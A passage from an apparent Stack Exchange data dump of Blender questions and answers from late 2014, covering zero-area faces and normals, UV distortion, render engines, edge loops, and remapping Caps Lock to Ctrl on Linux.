here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if I do manage to manage to get rid of the zero-area face, leaving a quad as shown below, I've found triangulating it splits the wrong way and just gives a zero-area face again (this really seems like a bug in blender's triangulation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oI9qH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1713" LastEditorUserId="1713" LastEditDate="2014-12-11T12:39:55.740" LastActivityDate="2020-06-12T20:39:55.253" Title="What's the best way to deal with zero-area faces that break normals" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="5" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20810" PostTypeId="2" ParentId="20809" CreationDate="2014-12-11T11:09:46.813" Score="1" Body="&lt;p&gt;One option is to select all zero-area faces, delete the &lt;em&gt;edges&lt;/em&gt; which removes all the adjacent and properly filled triangles. Then fill the holes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Triangulate the whole mesh (which may create zero-area faces).&lt;/li&gt;&#xA;&lt;li&gt;Find a zero-area face and select it (easy enough when viewing with shading).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Select-&amp;gt;Select Similar-&amp;gt;Area&lt;/code&gt;, as above in the question.&lt;/li&gt;&#xA;&lt;li&gt;Press delete, select &lt;code&gt;Edges&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Mesh-&amp;gt;Clean up-&amp;gt;Fill Holes&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Mesh-&amp;gt;Clean up-&amp;gt;Delete Loose&lt;/code&gt; (I had edges in the middle of nowhere).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QVpkN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Triangulate again&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OX0Xx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ew! Why does blender seem to insist on triangulating the wrong way? Shouldn't it always go for the one giving the most even triangle side lengths?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know of a better way, please post it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="1713" LastEditorUserId="1713" LastEditDate="2014-12-11T11:20:26.270" LastActivityDate="2014-12-11T11:20:26.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20811" PostTypeId="1" CreationDate="2014-12-11T11:34:52.530" Score="1" ViewCount="48" Body="&lt;p&gt;When I go into camera lock mode and zoom out on my model. The distant parts grey out and disappear. Why is that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maarten&lt;/p&gt;&#xA;" OwnerUserId="9451" LastEditorDisplayName="user7952" LastEditDate="2014-12-11T13:25:01.370" LastActivityDate="2014-12-11T13:25:01.370" Title="Part of model disappears when zooming out" Tags="&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2014-12-11T12:30:55.037" ContentLicense="CC BY-SA 3.0" />
  <row Id="20813" PostTypeId="2" ParentId="20809" CreationDate="2014-12-11T12:55:02.547" Score="18" Body="&lt;p&gt;There is a tool specifically for this.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First select all faces (typically selecting the entire mesh is fine).&lt;/li&gt;&#xA;&lt;li&gt;Access this menu item from the 3D View: &lt;code&gt;Mesh -&amp;gt; Cleanup -&amp;gt; Degenerate Dissolve&lt;/code&gt; to remove zero area faces, zero length edges.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Using dissolve is useful because it won't make holes where the faces used to be, it simply removes the face and merges surrounding edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can change the threshold as a tool option.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-12-11T21:14:23.363" LastActivityDate="2014-12-11T21:14:23.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20814" PostTypeId="2" ParentId="20809" CreationDate="2014-12-11T12:57:40.653" Score="6" Body="&lt;p&gt;I think @ideasman42 presented a very good point. Just in case below is what you need instead:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select one zero-area face (better to do it in Wireframe mode);&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;G&lt;/kbd&gt; -&gt; Area, to select all zreo-area faces;&lt;/li&gt;&#xA;&lt;li&gt;Manually select adjacent faces you want to merge in, then press &lt;kbd&gt;F&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Zffr.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-12-12T02:29:47.147" LastActivityDate="2014-12-12T02:29:47.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20815" PostTypeId="2" ParentId="19789" CreationDate="2014-12-11T13:10:56.293" Score="2" Body="&lt;p&gt;After getting some mixed results it would appear that the issue is a bad rigid body cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the file and set the current frame to a negative value (-5 works) then play the animation all the way through to rebuild the rigid body cache, then render.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-11T13:10:56.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20816" PostTypeId="2" ParentId="19775" CreationDate="2014-12-11T13:41:04.830" Score="6" Body="&lt;p&gt;There are several reasons to use only quads in your models.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;some modelling tools only work with quads. eg Loop cut will cut quads but stop at a triangle or ngon.&lt;/li&gt;&#xA;&lt;li&gt;triangles and ngons can deform badly when animated.&lt;/li&gt;&#xA;&lt;li&gt;ngons are automatically broken into triangles to be drawn to screen, particularly on non flat ngons, these may not be cut in ideal locations causing noticeable shading artefacts.&lt;/li&gt;&#xA;&lt;li&gt;the subsurface modifier also doesn't subdivide ngons very well.&lt;/li&gt;&#xA;&lt;li&gt;generated textures can also suffer from bad co-ordinate generation on ngons.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For flat surfaces shaded in a single colour you can get away with leaving ngons in your final model if you want to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get quads you need to cut your mesh up where you want the new edges. you can select two vertices and press &lt;kbd&gt;J&lt;/kbd&gt; to cat a new edge between them or you can use the knife tool &lt;kbd&gt;K&lt;/kbd&gt; to cut new edges and vertices where you want them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An easy way that can work under some conditions is to use the remesh modifier. Once you are happy with the settings you can apply the modifier to make the new mesh permanent.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-11T13:41:04.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20818" PostTypeId="1" AcceptedAnswerId="20819" CreationDate="2014-12-11T14:44:11.363" Score="4" ViewCount="559" Body="&lt;p&gt;I have a question about the keyboard input handling of Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Kubuntu 14.10, and set up my &lt;kbd&gt;Caps Lock&lt;/kbd&gt; such that it acts like an extra &lt;kbd&gt;Ctrl&lt;/kbd&gt; key (System Settings → Input Devices → Keyboard → Advanced → Caps Lock key behavior → Make Caps Lock an additional Ctrl)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every application simply sees it as just another &lt;kbd&gt;Ctrl&lt;/kbd&gt; key. Blender, however, now ignores the key altogether. Pressing &lt;kbd&gt;Caps Lock&lt;/kbd&gt; + &lt;kbd&gt;W&lt;/kbd&gt; acts as if I just pressed &lt;kbd&gt;W&lt;/kbd&gt;. The Python scripting console also keeps typing in lower case after pressing &lt;kbd&gt;Caps Lock&lt;/kbd&gt;, which shows that it's no longer interpreted as &lt;kbd&gt;Caps Lock&lt;/kbd&gt; either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens when running Blender 2.72b, as well as when I compile my own Blender from Git.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who can help me solve this?&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="2217" LastEditDate="2014-12-11T14:53:34.097" LastActivityDate="2014-12-11T14:53:34.097" Title="Caps lock to control: not accepted by Blender" Tags="&lt;shortcut&gt;&lt;linux&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20819" PostTypeId="2" ParentId="20818" CreationDate="2014-12-11T14:52:28.957" Score="6" Body="&lt;p&gt;Apparently, the KDE settings aren't as &quot;low level&quot; as Blender's input system. This command, however, is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;setxkbmap -option ctrl:nocaps&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also makes Caps Lock an additional Ctrl, but at such a low level that Blender understands it too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://www.emacswiki.org/emacs/MovingTheCtrlKey&quot; rel=&quot;noreferrer&quot;&gt;http://www.emacswiki.org/emacs/MovingTheCtrlKey&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-12-11T14:52:28.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20820" PostTypeId="1" CreationDate="2014-12-11T15:28:44.500" Score="3" ViewCount="240" Body="&lt;p&gt;I'm currently modelling a low polygonal model for a game and just finished unwrapping and organizing my uv map. I'm not very knowledgeable about uv mapping, so I was wondering if the distortion in these screen shots is acceptable enough to move on to texturing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, I mirrored the chopper down the middle to conserve space, but it seems that there's some distortion around the center areas. Is it okay to leave it as is or is there something I should do to fix this? &lt;img src=&quot;https://i.stack.imgur.com/3nE5I.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9455" LastActivityDate="2014-12-11T17:08:18.750" Title="UV Distortion on Helicopter" Tags="&lt;uv&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20821" PostTypeId="2" ParentId="20820" CreationDate="2014-12-11T15:44:37.947" Score="1" Body="&lt;p&gt;as long as no complex &lt;em&gt;textures&lt;/em&gt; need to be there (and they shouldn't if  you want to be able to see from the cockpit) it should be perfectly acceptable to have a material that is basically uniform. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Disclaimer; I've been called sloppy on this before, but never had bad results.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-12-11T15:44:37.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20822" PostTypeId="1" CreationDate="2014-12-11T15:44:45.050" Score="9" ViewCount="1136" Body="&lt;p&gt;In &lt;strong&gt;Sculpt mode&lt;/strong&gt;, I need to &lt;strong&gt;fix Adding/Substracting&lt;/strong&gt; of the object to a &lt;strong&gt;minimum/maximum depth&lt;/strong&gt;, that I've predetermined. I need the whole mesh to be smooth, as if I used normal brush but with a Layer, prohibiting me from adding or substrancting furthermore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Use &lt;strong&gt;Layer Brush&lt;/strong&gt;:&#xA;I've set the Persistent Base to the desired range, but it doesn't do the trick because &lt;em&gt;a new stroke resets the depth and paints on top of the previous stroke&lt;/em&gt;. There are smoothing problems as well - at the edge of the brush, where Layer ends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eTRad.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Use &lt;strong&gt;Mask Brush&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I've applied Solidify modifier (without the rim), then temporary hidden the outer shell and Masked the inner shell in Sculpt mode.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nWNoz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Object (with revealed outer shell) can not be substract under the masked depth, but with the radius of the brush as a minimum depth level (&lt;strong&gt;outer shell still penetrates the mask&lt;/strong&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9HB8F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Also, this method does not allow me to set a maximum depth level.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;3) Is there a way to use a solidified mesh with &lt;strong&gt;Mesh Analysis&lt;/strong&gt; to check dynamically if adding/substracting of the outer shell is out of a thickness range and then &lt;em&gt;mask&lt;/em&gt; the vertices to lock them in position?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to improve the methods I used? A better method in mind?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="9454" LastActivityDate="2019-12-19T07:44:30.113" Title="Constrained depth of sculpting" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;sculpting&gt;&lt;masking&gt;&lt;layers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20823" PostTypeId="2" ParentId="19789" CreationDate="2014-12-11T15:49:57.077" Score="2" Body="&lt;p&gt;Did some digging on other boards, found a solution that took care of the issue. Pressing CTRL+N calculated normals and fixed the problem. Thanks for everyone's help!&lt;/p&gt;&#xA;" OwnerUserId="6313" LastActivityDate="2014-12-11T15:49:57.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20824" PostTypeId="2" ParentId="20820" CreationDate="2014-12-11T17:08:18.750" Score="1" Body="&lt;p&gt;The UVs are ok. Depends how much time you are willing to spend on them.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You would like the checker pattern to be mostly squares&lt;/li&gt;&#xA;&lt;li&gt;The squares should be same size everywhere&lt;/li&gt;&#xA;&lt;li&gt;The UV seams should be on least visible places&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can improve on the second point and also reconsider if there is better placement for the seam on the cabin. If there will be text on the heli the mirrored UVs will not work on the hull and so the cabin could have 1 UV island then.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-11T17:08:18.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20825" PostTypeId="1" AcceptedAnswerId="20829" CreationDate="2014-12-11T17:12:04.993" Score="10" ViewCount="739" Body="&lt;p&gt;I know that Blender Internal is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Rendering_%28computer_graphics%29#Scanline_rendering_and_rasterisation&quot;&gt;scanline renderer&lt;/a&gt;, but how exactly does it work? When compared to Cycles, it's much less accurate, but much faster; Also, it doesn't have the concept of sampling, so, it finishes, as opposed to Cycles, which could theoretically keep going for ever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does Blinder Internal work?&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-12-12T06:58:27.367" Title="How does Blender Internal work?" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20826" PostTypeId="1" AcceptedAnswerId="20831" CreationDate="2014-12-11T17:53:56.707" Score="3" ViewCount="1053" Body="&lt;p&gt;In the end, the texture is supposed to look bumpy like this.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dZCwS.png&quot; alt=&quot;correct material and texture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks just like that in the preview, but not when rendered. I've tried about everything I could think of, short of restarting the entire project from scratch. I've made about three textures the same way, but none of them seem to work. I even tried moving the object to another project in case it was something with the file. I am a complete noob and know almost nothing about this program. Here is how it looks like now, if that's be any help. &lt;img src=&quot;https://i.stack.imgur.com/VasKT.png&quot; alt=&quot;how_it_looks_like&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9456" LastEditorUserId="2217" LastEditDate="2016-12-27T17:10:41.157" LastActivityDate="2016-12-27T17:10:41.157" Title="Why does my texture look fine in preview but not when rendered?" Tags="&lt;texturing&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20827" PostTypeId="1" CreationDate="2014-12-11T18:02:44.727" Score="2" ViewCount="130" Body="&lt;p&gt;I'm working on an addon that generates buildings based upon a base mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presently, I'm hoping to add a feature that allows the user to very quickly create the base mesh using a modal operator, whereby they would be able to extrude the base mesh in fixed increments by clicking and dragging the faces they want to extrude.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the operator to check if the mouse cursor is over a face on the base object, and set that face as the active selection. Anyone done something like this before? Any help you could offer would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: If there's a more efficient means to the same end, I'm very open to suggestions!)&lt;/p&gt;&#xA;" OwnerUserId="8085" LastActivityDate="2014-12-11T18:02:44.727" Title="Modal operator mouse over event" Tags="&lt;python&gt;&lt;modeling&gt;&lt;scripting&gt;&lt;add-on&gt;&lt;operator&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-12-12T16:13:17.840" ContentLicense="CC BY-SA 3.0" />
  <row Id="20828" PostTypeId="2" ParentId="18719" CreationDate="2014-12-11T18:18:10.223" Score="0" Body="&lt;p&gt;The behavior of sphere is correct, the sphere in the process is never rotated, so the local axis has the same orientation as global. The reset location reset origin has no effect. If you rotate the parent cube and then try to move the sphere by local Y you will see it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps if you want to transform something by specific axis (lets say the local cube Y axis), you can use the custom transform spaces. Select anything(object, vertex, face,..) and add its transform space in properties panel. Then its available for use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dHiyW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is especially useful if you select any 2 vertices, set the orientation to Normal and create a custom transform from it. Now you can move anything precisely in the direction specified by those vertices.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-11T18:18:10.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20829" PostTypeId="2" ParentId="20825" CreationDate="2014-12-11T19:05:45.903" Score="4" Body="&lt;p&gt;The main difference is Internal &lt;strong&gt;is not&lt;/strong&gt; physically correct, Cycles &lt;strong&gt;is&lt;/strong&gt; physically correct (if you want you can do unrealistic - toon - in it also).&#xA;This means Internal 'fakes' stuff, Cycles simulates it.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Internal uses raytracing and raytraces reflections and refractions. If you want them blurry it fakes it with blurring samples. Global Illumination is faked using radiosity which takes also samples. Cycles uses Path-tracing that can do GI correctly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Specular reflection in Internal is separate thing from reflections, its a fake effect controlled with a Gauss ramp and you can set it completely unrealistic: you can have soft specular and non-blurry reflections or specular of crazy colors. Cycles materials are all reflective, that means they change color based on surroundings. They will look correctly whether you light them with blue light or warm light. There is no such thing as specular reflections, only reflection and roughness. There are different shaders simulating different surface properties that can be combined together.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EE8Wj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="599" LastEditDate="2014-12-12T06:58:06.123" LastActivityDate="2014-12-12T06:58:06.123" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20831" PostTypeId="2" ParentId="20826" CreationDate="2014-12-11T20:19:09.110" Score="2" Body="&lt;p&gt;You are using a normal map texture only. You need 2 textures: the bump map, and the diffuse. The following image show the steps for setting up the two textures:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KgTyf.png&quot; alt=&quot;diffuse texture settings&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ETnMp.png&quot; alt=&quot;normal map texture settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="2217" LastEditDate="2016-12-27T17:09:08.767" LastActivityDate="2016-12-27T17:09:08.767" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20832" PostTypeId="1" AcceptedAnswerId="20833" CreationDate="2014-12-11T23:28:21.750" Score="5" ViewCount="837" Body="&lt;p&gt;It's easier to explain what I'm trying to do with pictures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this structure:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WXvfD.png&quot; alt=&quot;what I have&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I want to achieve this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mgmDG.png&quot; alt=&quot;What I want&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;such that those two new edges are equidistant from the first, and the distance is set precisely (using the keyboard).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been doing this using two &lt;code&gt;Edge Loop (Ctrl-R)&lt;/code&gt;, but I need to do the math by hand, since it always counts the cut distance from the left. Is there a easier way?&lt;/p&gt;&#xA;" OwnerUserId="9461" LastActivityDate="2014-12-11T23:48:04.693" Title="Creating two equidistant edges (two &quot;centered&quot; edge loops)" Tags="&lt;modeling&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20833" PostTypeId="2" ParentId="20832" CreationDate="2014-12-11T23:42:17.253" Score="12" Body="&lt;p&gt;Use &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;B&lt;/kbd&gt; and then scroll (You can add more cuts that way):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bAALo.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can fine tune the distance in the operator panel &lt;kbd&gt;F6&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UqQXG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-12-11T23:48:04.693" LastActivityDate="2014-12-11T23:48:04.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20834" PostTypeId="2" ParentId="18125" CreationDate="2014-12-12T00:53:52.897" Score="3" Body="&lt;p&gt;Quick solution I discovered as a new user:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Object Mode: Add-&gt;Curve-&gt;Circle&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; (edit mode) &amp;amp; &lt;kbd&gt;A&lt;/kbd&gt; until everything is unselected&lt;/li&gt;&#xA;&lt;li&gt;Select handles on opposite sides (say on the Y/green axis) and &lt;kbd&gt;X&lt;/kbd&gt; to delete them&lt;br&gt;&#xA;(must be deleted as a pair to keep symmetry)&lt;/li&gt;&#xA;&lt;li&gt;Select the END of one of the 2 remaining handles (on the X/red axis) and rotate 180°  &lt;kbd&gt;R&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt; &lt;code&gt;180&lt;/code&gt; &lt;kbd&gt;Enter&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Optional: Select both handles with &lt;kbd&gt;A&lt;/kbd&gt;, scale with: &lt;kbd&gt;S&lt;/kbd&gt; &lt;kbd&gt;Y&lt;/kbd&gt; &lt;code&gt;0.5&lt;/code&gt; &lt;kbd&gt;Enter&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Turn it into a tube:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Shape: Resolution: Preview U: increase to smooth curvature&lt;/li&gt;&#xA;&lt;li&gt;Shape: 3D&lt;/li&gt;&#xA;&lt;li&gt;Fill: Full&lt;/li&gt;&#xA;&lt;li&gt;Geometry: Bevel: Depth: increase as desired&lt;/li&gt;&#xA;&lt;li&gt;Geometry: Bevel: Resolution: increase to desired smoothness of tube&lt;/li&gt;&#xA;&lt;li&gt;Active Spline: Smooth should be checked&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9462" LastEditorUserId="9462" LastEditDate="2014-12-16T01:18:05.700" LastActivityDate="2014-12-16T01:18:05.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20835" PostTypeId="2" ParentId="18125" CreationDate="2014-12-12T03:04:54.520" Score="1" Body="&lt;p&gt;Torus as an infinity symbol:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Object Mode: Add-&gt;Curve-&gt;Circle&lt;/li&gt;&#xA;&lt;li&gt;Object Mode: Add-&gt;Mesh-&gt;Torus (the circle will be hidden inside the torus -- Torus should be selected)&lt;/li&gt;&#xA;&lt;li&gt;Add Modifier-&gt;Deform-&gt;Curve&lt;/li&gt;&#xA;&lt;li&gt;Object: BezierCurve&lt;/li&gt;&#xA;&lt;li&gt;Apply (leave Deformation Axis as &lt;code&gt;X&lt;/code&gt; -- the result won't look right; but...)&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;G&lt;/kbd&gt; &lt;kbd&gt;Y&lt;/kbd&gt; &lt;code&gt;-1&lt;/code&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;&#xA;&lt;br&gt;&lt;br&gt;Voila!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9462" LastActivityDate="2014-12-12T03:04:54.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20836" PostTypeId="2" ParentId="20804" CreationDate="2014-12-12T04:04:35.777" Score="2" Body="&lt;p&gt;Cycles Baking behaves a bit different from BI Baking due to the design. However, you can simulate what you expected by creating an auxiliary object, and tweak the &lt;strong&gt;Distance&lt;/strong&gt; value located in &lt;strong&gt;World&lt;/strong&gt; tab to get rid of the &quot;normalized&quot; look.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a big enough object, center it to the target objects;&lt;/li&gt;&#xA;&lt;li&gt;Tweak the &lt;strong&gt;Distance&lt;/strong&gt; value based on the dimension of the new object. (As shown below, I created a &lt;code&gt;20 x 20 x 20&lt;/code&gt; cube object, so that the distance between the sword and cube is around &lt;code&gt;10&lt;/code&gt;.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZKD3p.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-12-14T05:43:06.477" LastActivityDate="2014-12-14T05:43:06.477" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20837" PostTypeId="2" ParentId="20809" CreationDate="2014-12-12T04:12:12.907" Score="3" Body="&lt;p&gt;Thanks to @ideasman42 and @LeonCheung for their solutions! I've combined them here and show an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether there are gaps in the mesh as in the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3jLux.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xPDWY.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or zero-area faces as below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w1Hfd.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NTIf0.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They can be fixed like so:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If there are holes, &lt;code&gt;Mesh-&amp;gt;Clean up-&amp;gt;Fill Holes&lt;/code&gt; to create zero-area faces. The next step won't work without 